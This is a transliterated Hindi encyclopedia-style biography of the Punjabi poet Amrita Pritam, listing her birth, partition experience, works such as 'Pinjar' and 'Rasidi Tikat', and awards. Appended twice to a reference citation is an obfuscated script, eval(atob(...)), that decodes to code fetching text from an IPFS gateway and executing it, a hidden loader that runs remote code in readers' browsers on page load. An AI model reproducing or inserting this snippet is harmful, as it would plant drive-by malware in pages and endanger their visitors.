अमृता प्रीतम

	amrita pritam
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poora nam	amrita pritam
janm	31 agast, 1919
janm bhoomi	gujaraanvala, panjab (ab pakistan)
mrityu	31 aktoobar, 2005
mrityu sthan	dilli
karm bhoomi	bharat
karm-kshetr	sahity
mukhy rachanaean	'kagaz te kainavas' (jnanapith puraskar), 'rasidi tikat', 'pianjar' adi.
bhasha	panjabi, hindi
puraskar-upadhi	'padm vibhooshan' (2004), 'padmashri' (1969), 'sahity akadami puraskar' (1956), 'jnanapith puraskar' (1982)
prasiddhi	kavayitri, upanyasakar, lekhika
nagarikata	bharatiy
any janakari	amrita pritam pahali mahila thian, jinhean sahity akadami puraskar mila aur sath hi sath ve pahali panjabi mahila thian, jinhean 1969 mean padmashri samman se sammanit kiya gaya.
inhean bhi dekhean	kavi soochi, sahityakar soochi

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amrita pritam (aangrezi: Amrita Pritam, janm: 31 agast, 1919, panjab (pakistan); mrityu: 31 aktoobar, 2005 dilli) prasiddh kavayitri, upanyasakar aur nibandhakar thian, jinhean 20vian sadi ki panjabi bhasha ki sarvashreshth kavayitri mana jata hai. inaki lokapriyata sima par pakistan mean bhi barabar hai. inhoanne panjabi jagath mean chh: dashakoan tak raj kiya. amrita pritam ne kul milakar lagabhag 100 pustakean likhi haian, jinamean unaki charchit atmakatha 'rasidi tikat' bhi shamil hai. amrita pritam un sahityakaroan mean thian, jinaki kritiyoan ka anek bhashaoan mean anuvad hua. apane aantim dinoan mean amrita pritam ko bharat ka doosara sabase b da samman 'padm vibhooshan' bhi prapt hua. unhean 'sahity akadami puraskar' se pahale hi alankrit kiya ja chuka tha.

jivan parichay

amrita pritam ka janm 1919 mean gujaraanvala (panjab- pakistan) mean hua tha. bachapan lahaur mean bita aur shiksha bhi vahian par huee. inhoanne panjabi lekhan se shuruat ki aur kishoravastha se hi kavita, kahani aur nibandh likhana shuroo kiya. amrita ji 11 sal ki thi tabhi inaki mataji ka nidhan ho gaya, isaliye ghar ki zimmedari bhi inake kandhoan par a gayi. ye un virale sahityakaroan mean se hai jinaka pahala sankalan 16 sal ki ayu mean prakashit hua. phir aya 1947 ka vibhajan ka daur, inhoanne vibhajan ka dard saha tha, aur ise bahut qarib se mahasoos kiya tha, inaki kee kahaniyoan mean ap is dard ko svayan mahasoos kar sakate haian. vibhajan ke samay inaka parivar dilli mean a basa. ab inhoanne panjabi ke sath-sath hindi mean bhi likhana shuroo kiya. inaka vivah 16 sal ki umr mean hi ek sanpadak se hua, ye rishta bachapan mean hi maan-bap ne tay kar diya tha. yah vaivahik jivan bhi 1960 mean, talak ke sath toot gaya.^[1]

kritiyaan

1960 mean apane pati se talak ke bad, inaki rachanaoan mean mahila patroan ki pi da aur vaivahik jivan ke katu anubhavoan ka ahasas ko mahasoos kiya ja sakata hai. vibhajan ki pi da ko lekar inake upanyas 'pianjar' par ek film bhi bani thi, jo achchhi khasi charcha mean rahi. inhoanne lagabhag 100 pustakean likhian aur inaki kafi rachanaean videshi bhashaoan mean bhi anoodit huee haian.

amrita pritam ki rachanaean^[1]
kahani sangrah satrah kahaniyaan sat sau bis qadam 10 pratinidhi kahaniyaan choohe aur adami mean farq do khi dakiyaan ye kahaniyaan jo kahaniyaan nahian haian upanyas kaili kamini aur anita yah kalam yah kagaz yah akshar na radha na rukmani jalate bujhate log jalavatan pianjar sansmaran kachcha aangan ek thi sara	kavita sangrah amrit laharean (1936) jinda jiyaan (1939) trel dhote phool (1942) o gita valiyaan (1942) badalam di lali (1943) lok pigar (1944) pagathar git (1946) panjabi di avaz(1952) sunahare (1955) ashoka cheti (1957) kastoori (1957) nagamani (1964) ik si anita (1964) chak nabar chhtti (1964) unijha din (1979) atmakatha aksharoan ke saye rasidi tikat

samman aur puraskar

thumb|250px|amrita pritam amrita ji ko kee rashtriy aur aantarrashtriy puraskaroan se bhi sammanit kiya gaya, jinamean pramukh haian 1956 mean sahity akadami puraskar, 1958 mean panjab sarakar ke bhasha vibhag dvara puraskar, 1988 mean balgariya vairov puraskar; (antarrashtriy) aur 1982 mean bharat ke sarvochch sahityik puraskar jnanapith puraskar. ve pahali mahila thian jinhean sahity akadami puraskar mila aur sath hi sath ve pahali panjabi mahila thian jinhean 1969 mean padmashri samman se sammanit kiya gaya.^[1]

sahity akadami puraskar (1956)
padmashri (1969)
d aauktar aauf litarechar (dilli yunivarsiti- 1973)
d aauktar aauf litarechar (jabalapur yunivarsiti- 1973)
balgariya vairov puraskar (bulgariya – 1988)
bharatiy jnanapith puraskar (1982)
d aauktar aauf litarechar (vishv bharati shaantiniketan- 1987)
fraans sarakar dvara samman (1987)
padm vibhooshan (2004)

nidhan

amrita pritam ne lambi bimari ke bad 31 aktoobar, 2005 ko apane pran tyage. ve 86 sal ki thian aur dakshini dilli ke hauz khas ilaqe mean rahati thian. ab ve hamare bich nahian haian, lekin unaki kavitaean, kahaniyaan, nazmean aur sansmaran sadaiv hi hamare bich raheange. amrita pritam jaise sahityakar roz-roz paida nahian hote, unake jane se ek yug ka ant hua hai. ab ve hamare bich nahian haian lekin unaka sahity hamesha ham sabake bich mean zinda rahega aur hamara margadarshan karata rahega.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 ^1.2 ^1.3 amrita pritam: ek yug ka aant (hindi) (pi.ech.pi) mera panna. abhigaman tithi: 25 march, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[mp-1] 1.0 ^1.1 ^1.2 ^1.3 amrita pritam: ek yug ka aant (hindi) (pi.ech.pi) mera panna. abhigaman tithi: 25 march, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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